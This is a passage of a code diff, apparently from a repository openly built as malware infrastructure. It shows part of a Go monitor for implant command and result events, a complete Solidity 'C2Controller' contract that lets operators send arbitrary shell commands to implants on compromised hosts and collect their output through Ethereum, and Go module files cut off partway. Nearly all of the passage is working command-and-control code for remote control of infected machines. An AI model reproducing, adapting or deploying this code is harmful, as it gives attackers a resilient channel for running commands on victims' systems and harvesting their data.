ToBlock: new(big.Int).SetUint64(currentBlock),
|
||||||
|
Addresses: []common.Address{contractAddr},
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
time.Sleep(3 * time.Second)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, vLog := range logs {
|
||||||
|
switch vLog.Topics[0] {
|
||||||
|
case cmdIssuedSig:
|
||||||
|
if len(vLog.Topics) < 3 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
var implantID [32]byte
|
||||||
|
copy(implantID[:], vLog.Topics[1].Bytes())
|
||||||
|
if filterImplant != nil && implantID != *filterImplant {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
type CmdEvent struct {
|
||||||
|
Command string `json:"0"`
|
||||||
|
Timestamp *big.Int `json:"1"`
|
||||||
|
}
|
||||||
|
var ev CmdEvent
|
||||||
|
if err := parsedABI.UnpackIntoInterface(&ev, "CommandIssued", vLog.Data); err == nil {
|
||||||
|
t := time.Unix(ev.Timestamp.Int64(), 0)
|
||||||
|
fmt.Printf("[CMD] implant=0x%x at %s\n", implantID, t.Format(time.RFC3339))
|
||||||
|
fmt.Printf(" command: %s\n", truncate(ev.Command, 120))
|
||||||
|
}
|
||||||
|
|
||||||
|
case resultSubSig:
|
||||||
|
if len(vLog.Topics) < 4 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
var implantID [32]byte
|
||||||
|
copy(implantID[:], vLog.Topics[1].Bytes())
|
||||||
|
if filterImplant != nil && implantID != *filterImplant {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
type ResEvent struct {
|
||||||
|
Result string `json:"0"`
|
||||||
|
Timestamp *big.Int `json:"1"`
|
||||||
|
}
|
||||||
|
var ev ResEvent
|
||||||
|
if err := parsedABI.UnpackIntoInterface(&ev, "ResultSubmitted", vLog.Data); err == nil {
|
||||||
|
t := time.Unix(ev.Timestamp.Int64(), 0)
|
||||||
|
fmt.Printf("[RES] implant=0x%x at %s\n", implantID, t.Format(time.RFC3339))
|
||||||
|
fmt.Printf(" output: %s\n", truncate(ev.Result, 120))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
time.Sleep(3 * time.Second)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,218 @@
|
|||||||
|
// SPDX-License-Identifier: MIT
|
||||||
|
pragma solidity ^0.8.0;
|
||||||
|
|
||||||
|
import "@openzeppelin/contracts/access/Ownable.sol";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @title C2Controller
|
||||||
|
* @notice Blockchain-based Command & Control — commands in, results out.
|
||||||
|
* Operators issue commands. Implants poll for commands and submit results.
|
||||||
|
* Command reads are public + free (no gas). Results are public by design.
|
||||||
|
*/
|
||||||
|
contract C2Controller is Ownable {
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Types
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
/// @notice A single command targeted at an implant.
|
||||||
|
struct Command {
|
||||||
|
string data; // the raw command string
|
||||||
|
bool active; // true until ack/deletion
|
||||||
|
}
|
||||||
|
|
||||||
|
/// @notice A result submitted by an implant.
|
||||||
|
struct Result {
|
||||||
|
string data;
|
||||||
|
uint256 timestamp;
|
||||||
|
bytes32 commandId; // link back to the original command
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// State
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
/// @notice implantID => commandId => Command
|
||||||
|
mapping(bytes32 => mapping(bytes32 => Command)) public commands;
|
||||||
|
|
||||||
|
/// @notice implantID => list of active command IDs
|
||||||
|
mapping(bytes32 => bytes32[]) private _activeCommands;
|
||||||
|
|
||||||
|
/// @notice Unique result ID (incrementing) => Result
|
||||||
|
mapping(bytes32 => Result) public results;
|
||||||
|
|
||||||
|
/// @notice Authorised operator addresses (in addition to owner).
|
||||||
|
mapping(address => bool) public operators;
|
||||||
|
|
||||||
|
/// @notice Total result count (for enumeration).
|
||||||
|
bytes32[] private _resultIds;
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Events
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
/// @notice Emitted when an operator issues a command.
|
||||||
|
event CommandIssued(
|
||||||
|
bytes32 indexed implantId,
|
||||||
|
bytes32 indexed commandId,
|
||||||
|
string command,
|
||||||
|
uint256 timestamp
|
||||||
|
);
|
||||||
|
|
||||||
|
/// @notice Emitted when an implant submits a result.
|
||||||
|
event ResultSubmitted(
|
||||||
|
bytes32 indexed implantId,
|
||||||
|
bytes32 indexed commandId,
|
||||||
|
bytes32 indexed resultId,
|
||||||
|
string result,
|
||||||
|
uint256 timestamp
|
||||||
|
);
|
||||||
|
|
||||||
|
/// @notice Emitted when an operator is added or removed.
|
||||||
|
event OperatorUpdated(address indexed operator, bool active);
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Modifiers
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
modifier onlyOperator() {
|
||||||
|
require(owner() == _msgSender() || operators[_msgSender()],
|
||||||
|
"C2Controller: caller is not an operator");
|
||||||
|
_;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Constructor
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
/// @param initialOperator An additional operator address (can be address(0)).
|
||||||
|
constructor(address initialOperator) Ownable(_msgSender()) {
|
||||||
|
if (initialOperator != address(0)) {
|
||||||
|
operators[initialOperator] = true;
|
||||||
|
emit OperatorUpdated(initialOperator, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Operator Management
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
/// @notice Add or remove an operator (owner only).
|
||||||
|
function setOperator(address op, bool active) external onlyOwner {
|
||||||
|
operators[op] = active;
|
||||||
|
emit OperatorUpdated(op, active);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Command Lifecycle
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
/// @notice Issue a command to a specific implant.
|
||||||
|
/// @param implantId Unique implant identifier (e.g. keccak256(hostname)).
|
||||||
|
/// @param command Raw command string (can be any shell command).
|
||||||
|
function issueCommand(bytes32 implantId, string calldata command)
|
||||||
|
external
|
||||||
|
onlyOperator
|
||||||
|
{
|
||||||
|
bytes32 cmdId = keccak256(abi.encodePacked(implantId, command, block.timestamp));
|
||||||
|
|
||||||
|
commands[implantId][cmdId] = Command({
|
||||||
|
data: command,
|
||||||
|
active: true
|
||||||
|
});
|
||||||
|
_activeCommands[implantId].push(cmdId);
|
||||||
|
|
||||||
|
emit CommandIssued(implantId, cmdId, command, block.timestamp);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// @notice Read a pending command (public / view — free, no gas).
|
||||||
|
/// @return The command string, or empty string if not found or inactive.
|
||||||
|
function getCommand(bytes32 implantId, bytes32 commandId)
|
||||||
|
external
|
||||||
|
view
|
||||||
|
returns (string memory)
|
||||||
|
{
|
||||||
|
Command storage c = commands[implantId][commandId];
|
||||||
|
if (!c.active) return "";
|
||||||
|
return c.data;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// @notice Get all active command IDs for an implant.
|
||||||
|
function getActiveCommands(bytes32 implantId)
|
||||||
|
external
|
||||||
|
view
|
||||||
|
returns (bytes32[] memory)
|
||||||
|
{
|
||||||
|
return _activeCommands[implantId];
|
||||||
|
}
|
||||||
|
|
||||||
|
/// @notice Get the latest active command for an implant (convenience).
|
||||||
|
/// @return The command string, or empty if none pending.
|
||||||
|
function getLatestCommand(bytes32 implantId)
|
||||||
|
external
|
||||||
|
view
|
||||||
|
returns (string memory)
|
||||||
|
{
|
||||||
|
bytes32[] storage ids = _activeCommands[implantId];
|
||||||
|
if (ids.length == 0) return "";
|
||||||
|
bytes32 latestId = ids[ids.length - 1];
|
||||||
|
Command storage c = commands[implantId][latestId];
|
||||||
|
if (!c.active) return "";
|
||||||
|
return c.data;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// @notice Acknowledge (deactivate) a command without submitting a result.
|
||||||
|
function ackCommand(bytes32 implantId, bytes32 commandId) external {
|
||||||
|
commands[implantId][commandId].active = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// Result Submission
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
|
||||||
|
/// @notice Submit a command result (anyone can call; implants submit their own).
|
||||||
|
/// @param implantId The implant identifier.
|
||||||
|
/// @param commandId The command identifier this result is for.
|
||||||
|
/// @param result The output / error string.
|
||||||
|
function submitResult(
|
||||||
|
bytes32 implantId,
|
||||||
|
bytes32 commandId,
|
||||||
|
string calldata result
|
||||||
|
) external {
|
||||||
|
// Deactivate the command on first result submission.
|
||||||
|
commands[implantId][commandId].active = false;
|
||||||
|
|
||||||
|
bytes32 resultId = keccak256(
|
||||||
|
abi.encodePacked(implantId, commandId, result, block.timestamp)
|
||||||
|
);
|
||||||
|
|
||||||
|
results[resultId] = Result({
|
||||||
|
data: result,
|
||||||
|
timestamp: block.timestamp,
|
||||||
|
commandId: commandId
|
||||||
|
});
|
||||||
|
_resultIds.push(resultId);
|
||||||
|
|
||||||
|
emit ResultSubmitted(implantId, commandId, resultId, result, block.timestamp);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// @notice Read a submitted result (public view — free).
|
||||||
|
function getResult(bytes32 resultId)
|
||||||
|
external
|
||||||
|
view
|
||||||
|
returns (string memory data, uint256 timestamp, bytes32 commandId)
|
||||||
|
{
|
||||||
|
Result storage r = results[resultId];
|
||||||
|
return (r.data, r.timestamp, r.commandId);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// @notice Get result count (for enumeration / off-chain pagination).
|
||||||
|
function resultCount() external view returns (uint256) {
|
||||||
|
return _resultIds.length;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// @notice Get result ID by index.
|
||||||
|
function resultIdAtIndex(uint256 idx) external view returns (bytes32) {
|
||||||
|
return _resultIds[idx];
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
module github.com/churchofmalware/c2-blockchain-contract
|
||||||
|
|
||||||
|
go 1.26
|
||||||
|
|
||||||
|
require github.com/ethereum/go-ethereum v1.15.0
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/Microsoft/go-winio v0.6.2 // indirect
|
||||||
|
github.com/StackExchange/wmi v1.2.1 // indirect
|
||||||
|
github.com/bits-and-blooms/bitset v1.17.0 // indirect
|
||||||
|
github.com/consensys/bavard v0.1.22 // indirect
|
||||||
|
github.com/consensys/gnark-crypto v0.14.0 // indirect
|
||||||
|
github.com/crate-crypto/go-ipa v0.0.0-20240724233137-53bbb0ceb27a // indirect
|
||||||
|
github.com/crate-crypto/go-kzg-4844 v1.1.0 // indirect
|
||||||
|
github.com/deckarep/golang-set/v2 v2.6.0 // indirect
|
||||||
|
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1 // indirect
|
||||||
|
github.com/ethereum/c-kzg-4844 v1.0.0 // indirect
|
||||||
|
github.com/ethereum/go-verkle v0.2.2 // indirect
|
||||||
|
github.com/fsnotify/fsnotify v1.6.0 // indirect
|
||||||
|
github.com/go-ole/go-ole v1.3.0 // indirect
|
||||||
|
github.com/google/uuid v1.3.0 // indirect
|
||||||
|
github.com/gorilla/websocket v1.4.2 // indirect
|
||||||
|
github.com/holiman/uint256 v1.3.2 // indirect
|
||||||
|
github.com/mmcloughlin/addchain v0.4.0 // indirect
|
||||||
|
github.com/shirou/gopsutil v3.21.4-0.20210419000835-c7a38de76ee5+incompatible // indirect
|
||||||
|
github.com/supranational/blst v0.3.13 // indirect
|
||||||
|
github.com/tklauser/go-sysconf v0.3.12 // indirect
|
||||||
|
github.com/tklauser/numcpus v0.6.1 // indirect
|
||||||
|
golang.org/x/crypto v0.32.0 // indirect
|
||||||
|
golang.org/x/exp v0.0.0-20231110203233-9a3e6036ecaa // indirect
|
||||||
|
golang.org/x/sync v0.10.0 // indirect
|
||||||
|
golang.org/x/sys v0.29.0 // indirect
|
||||||
|
rsc.io/tmplfunc v0.0.3 // indirect
|
||||||
|
)
|
||||||
|
|
||||||
|
// go-ethereum transitive dependencies — resolved by `go mod tidy`
|
||||||
@@ -0,0 +1,188 @@
|
|||||||
|
github.com/DataDog/zstd v1.4.5 h1:EndNeuB0l9syBZhut0wns3gV1hL8zX8LIu6ZiVHWLIQ=
|
||||||
|
github.com/DataDog/zstd v1.4.5/go.mod h1:1jcaCB/ufaK+sKp1NBhlGmpz41jOoPQ35bpF36t7BBo=
|
||||||
|
github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY=
|
||||||
|
github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU=
|
||||||
|
github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA=
|
||||||
|
github.com/StackExchange/wmi v1.2.1/go.mod h1:rcmrprowKIVzvc+NUiLncP2uuArMWLCbu9SBzvHz7e8=
|
||||||
|
github.com/VictoriaMetrics/fastcache v1.12.2 h1:N0y9ASrJ0F6h0QaC3o6uJb3NIZ9VKLjCM7NQbSmF7WI=
|
||||||
|
github.com/VictoriaMetrics/fastcache v1.12.2/go.mod h1:AmC+Nzz1+3G2eCPapF6UcsnkThDcMsQicp4xDukwJYI=
|
||||||
|
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
|
||||||
|
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||||
|
github.com/bits-and-blooms/bitset v1.17.0 h1:1X2TS7aHz1ELcC0yU1y2stUs/0ig5oMU6STFZGrhvHI=
|
||||||
|
github.com/bits-and-blooms/bitset v1.17.0/go.mod h1:7hO7Gc7Pp1vODcmWvKMRA9BNmbv6a/7QIWpPxHddWR8=
|
||||||
|
github.com/cespare/cp v0.1.0 h1:SE+dxFebS7Iik5LK0tsi1k9ZCxEaFX4AjQmoyA+1dJk=
|
||||||
|
github.com/cespare/cp v0.1.0/go.mod h1:SOGHArjBr4JWaSDEVpWpo/hNg6RoKrls6Oh40hiwW+s=
|
||||||
|
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
||||||
|
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||||
|
github.com/cockroachdb/errors v1.11.3 h1:5bA+k2Y6r+oz/6Z/RFlNeVCesGARKuC6YymtcDrbC/I=
|
||||||
|
github.com/cockroachdb/errors v1.11.3/go.mod h1:m4UIW4CDjx+R5cybPsNrRbreomiFqt8o1h1wUVazSd8=
|
||||||
|
github.com/cockroachdb/fifo v0.0.0-20240606204812-0bbfbd93a7ce h1:giXvy4KSc/6g/esnpM7Geqxka4WSqI1SZc7sMJFd3y4=
|
||||||
|
github.com/cockroachdb/fifo v0.0.0-20240606204812-0bbfbd93a7ce/go.mod h1:9/y3cnZ5GKakj/H4y9r9GTjCvAFta7KLgSHPJJYc52M=
|
||||||
|
github.com/cockroachdb/logtags v0.0.0-20230118201751-21c54148d20b h1:r6VH0faHjZeQy818SGhaone5OnYfxFR/+AzdY3sf5aE=
|
||||||
|
github.com/cockroachdb/logtags v0.0.0-20230118201751-21c54148d20b/go.mod h1:Vz9DsVWQQhf3vs21MhPMZpMGSht7O/2vFW2xusFUVOs=
|
||||||
|
github.com/cockroachdb/pebble v1.1.2 h1:CUh2IPtR4swHlEj48Rhfzw6l/d0qA31fItcIszQVIsA=
|
||||||
|
github.com/cockroachdb/pebble v1.1.2/go.mod h1:4exszw1r40423ZsmkG/09AFEG83I0uDgfujJdbL6kYU=
|
||||||
|
github.com/cockroachdb/redact v1.1.5 h1:u1PMllDkdFfPWaNGMyLD1+so+aq3uUItthCFqzwPJ30=
|
||||||
|
github.com/cockroachdb/redact v1.1.5/go.mod h1:BVNblN9mBWFyMyqK1k3AAiSxhvhfK2oOZZ2lK+dpvRg=
|
||||||
|
github.com/cockroachdb/tokenbucket v0.0.0-20230807174530-cc333fc44b06 h1:zuQyyAKVxetITBuuhv3BI9cMrmStnpT18zmgmTxunpo=
|
||||||
|
github.com/cockroachdb/tokenbucket v0.0.0-20230807174530-cc333fc44b06/go.mod h1:7nc4anLGjupUW/PeY5qiNYsdNXj7zopG+eqsS7To5IQ=
|
||||||
|
github.com/consensys/bavard v0.1.22 h1:Uw2CGvbXSZWhqK59X0VG/zOjpTFuOMcPLStrp1ihI0A=
|
||||||
|
github.com/consensys/bavard v0.1.22/go.mod h1:k/zVjHHC4B+PQy1Pg7fgvG3ALicQw540Crag8qx+dZs=
|
||||||
|
github.com/consensys/gnark-crypto v0.14.0 h1:DDBdl4HaBtdQsq/wfMwJvZNE80sHidrK3Nfrefatm0E=
|
||||||
|
github.com/consensys/gnark-crypto v0.14.0/go.mod h1:CU4UijNPsHawiVGNxe9co07FkzCeWHHrb1li/n1XoU0=
|
||||||
|
github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w=
|
||||||
|
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||||
|
github.com/crate-crypto/go-ipa v0.0.0-20240724233137-53bbb0ceb27a h1:W8mUrRp6NOVl3J+MYp5kPMoUZPp7aOYHtaua31lwRHg=
|
||||||
|
github.com/crate-crypto/go-ipa v0.0.0-20240724233137-53bbb0ceb27a/go.mod h1:sTwzHBvIzm2RfVCGNEBZgRyjwK40bVoun3ZnGOCafNM=
|
||||||
|
github.com/crate-crypto/go-kzg-4844 v1.1.0 h1:EN/u9k2TF6OWSHrCCDBBU6GLNMq88OspHHlMnHfoyU4=
|
||||||
|
github.com/crate-crypto/go-kzg-4844 v1.1.0/go.mod h1:JolLjpSff1tCCJKaJx4psrlEdlXuJEC996PL3tTAFks=
|
||||||
|
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||||
|
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/deckarep/golang-set/v2 v2.6.0 h1:XfcQbWM1LlMB8BsJ8N9vW5ehnnPVIw0je80NsVHagjM=
|
||||||
|
github.com/deckarep/golang-set/v2 v2.6.0/go.mod h1:VAky9rY/yGXJOLEDv3OMci+7wtDpOF4IN+y82NBOac4=
|
||||||
|
github.com/decred/dcrd/crypto/blake256 v1.0.0 h1:/8DMNYp9SGi5f0w7uCm6d6M4OU2rGFK09Y2A4Xv7EE0=
|
||||||
|
github.com/decred/dcrd/crypto/blake256 v1.0.0/go.mod h1:sQl2p6Y26YV+ZOcSTP6thNdn47hh8kt6rqSlvmrXFAc=
|
||||||
|
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1 h1:YLtO71vCjJRCBcrPMtQ9nqBsqpA1m5sE92cU+pd5Mcc=
|
||||||
|
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1/go.mod h1:hyedUtir6IdtD/7lIxGeCxkaw7y45JueMRL4DIyJDKs=
|
||||||
|
github.com/ethereum/c-kzg-4844 v1.0.0 h1:0X1LBXxaEtYD9xsyj9B9ctQEZIpnvVDeoBx8aHEwTNA=
|
||||||
|
github.com/ethereum/c-kzg-4844 v1.0.0/go.mod h1:VewdlzQmpT5QSrVhbBuGoCdFJkpaJlO1aQputP83wc0=
|
||||||
|
github.com/ethereum/go-ethereum v1.15.0 h1:LLb2jCPsbJZcB4INw+E/MgzUX5wlR6SdwXcv09/1ME4=
|
||||||
|
github.com/ethereum/go-ethereum v1.15.0/go.mod h1:4q+4t48P2C03sjqGvTXix5lEOplf5dz4CTosbjt5tGs=
|
||||||
|
github.com/ethereum/go-verkle v0.2.2 h1:I2W0WjnrFUIzzVPwm8ykY+7pL2d4VhlsePn4j7cnFk8=
|
||||||
|
github.com/ethereum/go-verkle v0.2.2/go.mod h1:M3b90YRnzqKyyzBEWJGqj8Qff4IDeXnzFw0P9bFw3uk=
|
||||||
|
github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY=
|
||||||
|
github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw=
|
||||||
|
github.com/getsentry/sentry-go v0.27.0 h1:Pv98CIbtB3LkMWmXi4Joa5OOcwbmnX88sF5qbK3r3Ps=
|
||||||
|
github.com/getsentry/sentry-go v0.27.0/go.mod h1:lc76E2QywIyW8WuBnwl8Lc4bkmQH4+w1gwTf25trprY=
|
||||||
|
github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||||
|
github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
|
||||||
|
github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
|
||||||
|
github.com/gofrs/flock v0.8.1 h1:+gYjHKf32LDeiEEFhQaotPbLuUXjY5ZqxKgXy7n59aw=
|
||||||
|
github.com/gofrs/flock v0.8.1/go.mod h1:F1TvTiK9OcQqauNUHlbJvyl9Qa1QvF/gOUDKA14jxHU=
|
||||||
|
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
|
||||||
|
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
|
||||||
|
github.com/golang-jwt/jwt/v4 v4.5.1 h1:JdqV9zKUdtaa9gdPlywC3aeoEsR681PlKC+4F5gQgeo=
|
||||||
|
github.com/golang-jwt/jwt/v4 v4.5.1/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||||
|
github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=
|
||||||
|
github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=
|
||||||
|
github.com/golang/snappy v0.0.5-0.20220116011046-fa5810519dcb h1:PBC98N2aIaM3XXiurYmW7fx4GZkL8feAMVq7nEjURHk=
|
||||||
|
github.com/golang/snappy v0.0.5-0.20220116011046-fa5810519dcb/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
|
||||||
|
github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=
|
||||||
|
github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||||
|
github.com/google/subcommands v1.2.0/go.mod h1:ZjhPrFU+Olkh9WazFPsl27BQ4UPiG37m3yTrtFlrHVk=
|
||||||
|
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||||
|
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||||
|
github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=
|
||||||
|
github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||||
|
github.com/hashicorp/go-bexpr v0.1.10 h1:9kuI5PFotCboP3dkDYFr/wi0gg0QVbSNz5oFRpxn4uE=
|
||||||
|
github.com/hashicorp/go-bexpr v0.1.10/go.mod h1:oxlubA2vC/gFVfX1A6JGp7ls7uCDlfJn732ehYYg+g0=
|
||||||
|
github.com/holiman/billy v0.0.0-20240216141850-2abb0c79d3c4 h1:X4egAf/gcS1zATw6wn4Ej8vjuVGxeHdan+bRb2ebyv4=
|
||||||
|
github.com/holiman/billy v0.0.0-20240216141850-2abb0c79d3c4/go.mod h1:5GuXa7vkL8u9FkFuWdVvfR5ix8hRB7DbOAaYULamFpc=
|
||||||
|
github.com/holiman/bloomfilter/v2 v2.0.3 h1:73e0e/V0tCydx14a0SCYS/EWCxgwLZ18CZcZKVu0fao=
|
||||||
|
github.com/holiman/bloomfilter/v2 v2.0.3/go.mod h1:zpoh+gs7qcpqrHr3dB55AMiJwo0iURXE7ZOP9L9hSkA=
|
||||||
|
github.com/holiman/uint256 v1.3.2 h1:a9EgMPSC1AAaj1SZL5zIQD3WbwTuHrMGOerLjGmM/TA=
|
||||||
|
github.com/holiman/uint256 v1.3.2/go.mod h1:EOMSn4q6Nyt9P6efbI3bueV4e1b3dGlUCXeiRV4ng7E=
|
||||||
|
github.com/huin/goupnp v1.3.0 h1:UvLUlWDNpoUdYzb2TCn+MuTWtcjXKSza2n6CBdQ0xXc=
|
||||||
|
github.com/huin/goupnp v1.3.0/go.mod h1:gnGPsThkYa7bFi/KWmEysQRf48l2dvR5bxr2OFckNX8=
|
||||||
|
github.com/jackpal/go-nat-pmp v1.0.2 h1:KzKSgb7qkJvOUTqYl9/Hg/me3pWgBmERKrTGD7BdWus=
|
||||||
|
github.com/jackpal/go-nat-pmp v1.0.2/go.mod h1:QPH045xvCAeXUZOxsnwmrtiCoxIr9eob+4orBN1SBKc=
|
||||||
|
github.com/klauspost/compress v1.16.0 h1:iULayQNOReoYUe+1qtKOqw9CwJv3aNQu8ivo7lw1HU4=
|
||||||
|
github.com/klauspost/compress v1.16.0/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
|
||||||
|
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||||
|
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||||
|
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||||
|
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||||
|
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
||||||
|
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
||||||
|
github.com/leanovate/gopter v0.2.11 h1:vRjThO1EKPb/1NsDXuDrzldR28RLkBflWYcU9CvzWu4=
|
||||||
|
github.com/leanovate/gopter v0.2.11/go.mod h1:aK3tzZP/C+p1m3SPRE4SYZFGP7jjkuSI4f7Xvpt0S9c=
|
||||||
|
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
||||||
|
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
|
||||||
|
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||||
|
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||||
|
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
|
||||||
|
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||||
|
github.com/matttproud/golang_protobuf_extensions v1.0.2-0.20181231171920-c182affec369 h1:I0XW9+e1XWDxdcEniV4rQAIOPUGDq67JSCiRCgGCZLI=
|
||||||
|
github.com/matttproud/golang_protobuf_extensions v1.0.2-0.20181231171920-c182affec369/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4=
|
||||||
|
github.com/mitchellh/mapstructure v1.4.1 h1:CpVNEelQCZBooIPDn+AR3NpivK/TIKU8bDxdASFVQag=
|
||||||
|
github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
|
||||||
|
github.com/mitchellh/pointerstructure v1.2.0 h1:O+i9nHnXS3l/9Wu7r4NrEdwA2VFTicjUEN1uBnDo34A=
|
||||||
|
